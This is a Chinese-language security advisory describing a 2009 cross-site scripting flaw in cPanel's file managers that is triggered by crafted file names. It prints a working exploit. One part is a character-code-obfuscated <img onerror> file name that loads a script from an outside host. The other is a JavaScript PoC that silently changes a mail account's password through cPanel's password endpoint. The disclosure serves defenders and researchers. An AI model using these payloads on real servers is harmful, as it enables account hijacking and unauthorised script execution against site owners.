安全研究

安全漏洞
cPanel文件管理器文件名HTML注入漏洞

发布日期:2009-03-17
更新日期:2009-03-18

受影响系统:
cPanel cPanel 11.24.4-CURRENT
描述:
BUGTRAQ  ID: 34142

cPanel是基于web的工具,用于自动化控制网站和服务器。

Cpanel内嵌有两个文件管理器,分别为标准和旧式文件管理器。这两个文件管理器在处理文件名时存在跨站脚本漏洞,远程攻击者可以通过创建特制的文件名注入并执行脚本。

对于旧式文件管理器,只要查看了文件列表就可以执行攻击者的代码;对于标准文件管理器,文件列表经过转义,但如果用户对恶意文件执行了删除、拷贝、移动、重新命名等任务的话,仍可能执行注入的脚本。

由于文件名中禁用斜线字符,因此攻击者无法直接使用<script>标签加载脚本。为了摆脱这个限制,攻击者可以通过<img>标签onError属性注入脚本并将src属性设置为空字符串来强制触发出错事件。通过<img>标签注入的脚本生成<script>标签,使用document.write()函数执行外部脚本。

<*来源:Rizki Wicaksono (rizki.wicaksono@gmail.com
  
  链接:http://marc.info/?l=bugtraq&m=123730614528241&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

恶意文件名:

<img src='' onerror='document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,108,109,117,104,97,99,107,105,110,103,46,99, 111,109,47,120,46,106,115,62,60,47,115,99,114,105,112,116,62))'>

该<img>生成以下html标签,以导致浏览器加载并执行外部脚本:

<script src=http://ilmuhacking.com/x.js></script>

PoC负载:

----------------
var http_request = false;
function makePOSTRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
    http_request.overrideMimeType('text/html');
}
} else if (window.ActiveXObject) { // IE
try {
    http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
    try {
       http_request = new ActiveXObject("Microsoft.XMLHTTP");
    } catch (e) {}
}
}
if (!http_request) {
alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}
function alertContents() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
    result = http_request.responseText;
    alert(result);
} else {
    alert('There was a problem with the request.');
}
}
}
var poststr = "quota=" + encodeURI("250") + "&password2=" + encodeURI("newpassword") \
                +
        "&password=" + encodeURI("newpassword") + "&email=" + encodeURI("testemail") +
        "&domain=" + encodeURI("ilmuhacking.com");
makePOSTRequest('/frontend/x3/mail/dopasswdpop.html', poststr);

建议:
厂商补丁:

cPanel
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.cpanel.net

浏览次数:3006
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障